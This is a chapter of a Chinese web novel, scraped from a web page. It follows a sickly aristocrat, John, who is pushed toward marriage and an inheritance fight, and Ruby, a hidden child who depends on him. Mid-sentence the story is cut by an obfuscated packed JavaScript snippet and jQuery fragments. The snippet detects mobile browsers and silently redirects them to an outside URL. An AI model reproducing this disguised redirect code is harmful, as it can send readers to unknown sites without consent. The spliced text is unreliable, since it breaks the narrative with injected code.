28. 约翰

作品:《夜半时魔女与夜莺相会

    约翰的身体在渐渐好转。


    虽然不想承认,但约翰深以为是露比的错——这个没有玩伴的小孩子爱黏着他,让他不得不费心配合她的步调,照顾她,成了她的专属“仆人”和“家教”。


    礼仪得教,谈吐得教,为了避免露比继续过那种偷偷摸摸饥一顿饱一顿的生活,他让仆人们在他屋里设了一张餐桌,一日三餐,两人互相监督直到作为装饰的小番茄也被吃了个干净。


    医生说他的病还和心态有关,总是躺在床上想些有的没的反而加重了病情,看管露比分散了他的注意力。


    但约翰想,他只是和露比一样,一直在等着有谁找到他们,和他们说说话。


    ——这种弱点他绝不会告诉露比就是了。


    *


    两年后。


    露比在为她特设的小书桌上奋笔疾书,约翰把他的一部分作业推给了她,作为报酬,他给了她一大罐蜜饯。


    隔着书架,白胡子的家教正在啜饮花草茶,第一口他就发出了干呕的声音,低声咒骂准备这壶茶叶的人。


    露比暗道浪费,茶里的香料是她根据书里的配方自己改良的,约翰最近身体越来越好肯定有她的功劳。


    这茶又不是给他准备的。


    在家教的碎碎念中,露比捕捉到门外凌乱的脚步声,下一刻约翰推开房门,向老师致歉:“今日的课程取消,抱歉。”


    家教离开后,约翰又揪出还安坐在椅子上的露比,推她出门:“父亲有话要和我说,不许偷听。”


    露比乖巧地点头,待他关门,转头就钻进了密道。


    约翰虽然经常生气,但从没惩罚过她,最多不给她吃甜食。


    书房里一串迟缓的足音延绵到书桌旁,即使看不见,声音仍清晰地传进露比的耳朵:


    救治无效,鲁道夫战死了。


    ……父亲,您知道那不是英勇的死亡。


    弗格斯会在年底回来。


    您要让他做继承人吗?


    即使那是条毒蛇,也是雪莱家的人。约翰,你若是没法接受,倒是给我看看你的骨气。


    我可从没肖想过您的位置。


    弗格斯这一点倒是远胜过你。听着,我听说你最近状态变好了,你想就这么烂在屋里吗?你真的是我的儿子吗?


    ……您想要我做什么?


    要做我的后继者,你需要后盾。我会给你介绍几位小姐,随便赢得其中哪个的芳心——别让弗格斯抢先了。


    父——


    脚步拖拽着一副腐朽威严的身躯离开,随着关门声消失,屋里只剩一声长叹。


    露比从暗道滑出:“你要结婚吗?”


    “叫你别偷听。”约翰瞪她,“我不知道……我从未想过这些事,结婚、继承爵位……父亲只是怕哥哥的刀也捅进他的胸膛才看上了弱小的我,真可笑,无力反而成了优点。”


    他一直觉得做什么都很无聊,活着也行死了也行,但因为自杀上不了天堂,他还是忍耐着,等待与母亲重逢的那一天。


    他是雪莱伯爵与第三任妻子的孩子,他们结婚时伯爵年龄已不小,开头几年都没怀上,最终降生的他也没有长命的模样。


    母亲曾那么小心地呵护他,在她离世前都挂念着他的健康。


    露比模模糊糊知道这个家里正有暗流攒动,原定的继承人死了,顺位继承者是杀死他的真凶,而在凶手之后,才是手无缚鸡之力的约翰……


    但她比较在意另一个问题:“结婚后,你就没时间陪我了吧。”


    小女孩的声音里有藏得很好的落寞,约翰一愣,才注意到露比正用鞋尖在地毯上画圈,已经留下了一道发白的印子。


    露比又说:“但绘本里只有高大英俊的王子能结婚,你不行吧?”


    约翰忍不住揉乱她柔顺干净的黑发:“别小看我的魅力,一个两个女人……”


    他还真没什么信心,身体原因,他的社交经验为零,长期打交道的异性只有女仆和幼小的露比。


    但若他真的成了雪莱伯爵,露比幽灵般的处境也能得到改善。那个位置带来的权力可抵过所有麻烦,不然弗格斯也不会谋害大哥了。


    “我结婚了你也可以留在这里,或者想去别的地方我也带你去。”约翰放软了声音,理顺被他搓乱的青丝,“我会让你恢复你原本的名字,拿回你本来的身份……”


    露比眼神疑惑。


    他笑笑:“等我做到再说吧,你的乌鸦嘴可能说中了,我还真不知道怎么讨女士的欢心。”


    *


    约翰下定决心后雪莱伯爵立即调整了他的课程,如何打理产业、如何与贵族交际,此前那些闹着玩的内容全换成了正统的家族继承人教育,授课地点也改为了伯爵的书房。


    即使没结婚,约翰也没空和她玩了。露比不再频繁拜访约翰的房间,恢复了埋首于书库阅读乱七八糟书目的生活。


    她曾鼓起勇气试图接近约翰现在的教室,但她太害怕了,更幼小时她每次挨打或是关禁闭都和那个老人有关,她学会的第一条生存法则,就是得绕着他走。


    入睡前成了她们仅有的相处时间,这时的约翰看起来总是无精打采疲惫不堪,争夺继承之位让她俩都不开心。露比很想叫他放弃,但约翰是个顽固的人,他决定好的事谁也拉不回——比如不可以剩菜,即使菜里有她俩都不爱吃的芹菜根,他还是逼着露比和自己咽下去了。


    喝完睡前牛奶,露比吹灭蜡烛钻进被子里。她带来的寒气让约翰一哆嗦,随即贴上来的温度也叫他觉得不妥。


    和各种各样的人打交道后他才发现他原本的世界有多么扭曲,他和露比的关系也很怪。露比已经七岁了,他也到了能结婚的年龄,再这样黏糊下去可不行。


    但看着露比蜷成一团的小小身影,他还是心软了。这孩子没有安全感,即使养了两年也还是只野猫,难得愿意亲近他。已经夜深了,明晚他再把她撵出去。


    露比半梦半醒间嘟囔道:“约翰,找到婆娘了吗?”


    “……”约翰忍住怒气,“说了别和仆人们学这种下里巴人的说法。你怎么比父亲还急?”


    “有妻子后你就能过上幸福快乐的生活吗?”


    事情并不像童话书那样发展,何况他俩都会嘲笑这类空中楼阁般的故事。约翰拍着露比的背,试


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098382|193750||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    图把她哄睡:“幸福只有在合适的时间和场合才能来临,结婚对我来说似乎有点太早了。但我可以和你说说今天见到的菲娜小姐,和她一比你简直是只野猴子……”


    露比回击:“那你得到了这位淑女的芳心吗?”


    约翰郁闷无比,他刚才说了句实话,确实太早了。今天跳舞时他没接住舞伴,这位大他四岁的贵族小姐涵养很好地原谅了他,随即就摇着扇子走去另一边。


    露比察觉到他更不开心了,作为安慰用头顶蹭着他的肩膀:“结不了婚就不结了吧,我们去做游侠。”


    这是她们更青睐的一类小说,大盗、吟游诗人、剑客,靠着一门手艺活跃在城邦与密林间,被平民和贵族所追捧。


    连小孩子都在关心他了。约翰苦笑:“我倒是会弹琴,但我不会剑术。而你呢?你又能做什么?”


    “我学会了魔术,就是把牌藏在袖子里——”


    “那是作弊。”约翰捂住她的嘴,“不许赌博,快睡。”


    如果他有一门维生的本事,他愿意抛下这一切带着露比一走了之。


    但他只是无力的小少爷,而父亲也不会放过露比。


    不然她就不会被困在这里了。


    *


    约翰总算定下了一个结婚对象,露比悄悄看过她的肖像画,是位温婉的金发美人。


    约翰已经不准她粘着他睡了,但还是愿意在喝完牛奶前和她说说话。说起这个美人时,他眼神变得柔和,那是某某伯爵老来才得到的独女,身体也不大好,他俩同病相怜反而有了许多共同话题……


    露比记下这位宅邸未来夫人的特征,她还想留在这里,是不是该讨好她?


    按照她的症状准备好花草茶,某个夜晚,露比精心将这份礼物打包好,顺着暗道溜到了约翰的卧房中。


    他不在。


    在宅邸巡查一圈也没找到他人,露比无奈回到自己的卧室,但屋里早有先客,他苍白的脸色吓得露比弄掉了茶包。


    “你怎么才回来?”


    被抓住手腕时露比没有挣扎,只是疑惑道:“约翰?”


    “跟我去一个地方……别发出声音,我们不能被人看见。”


    他随手把外套披在她身上,牵着她走到门口。但在跨出大门前,露比停下了,不断摇头:“我不能出去,不能,不——”


    约翰捂住她的嘴想把她硬拽出去,但感受到露比正在剧烈颤抖,他怔了怔,蹲下身抱住她:“别害怕……露比,你是自由的,你哪里都可以去,我不会让别人伤害你。”


    可是谁都能对她扬起鞭子,谁都能拎起她,把她扔进阁楼。


    露比宝石般的眼睛里盛满泪水,她还是重复着:“不行,不行。”


    约翰有些急了,看了眼表,他放弃逼迫露比:“……当然,你不想出去就算了。但是,露比,我总有一天要离开这个家,那时你也不愿意跟我来吗?”


    “……”


    在死一样的沉默中,约翰独自慢慢走出大门。


    露比留在阴影里,看着那个背影在月光中远去,终于,还是忍不住了。


    她飞奔着扑进他的手腕里。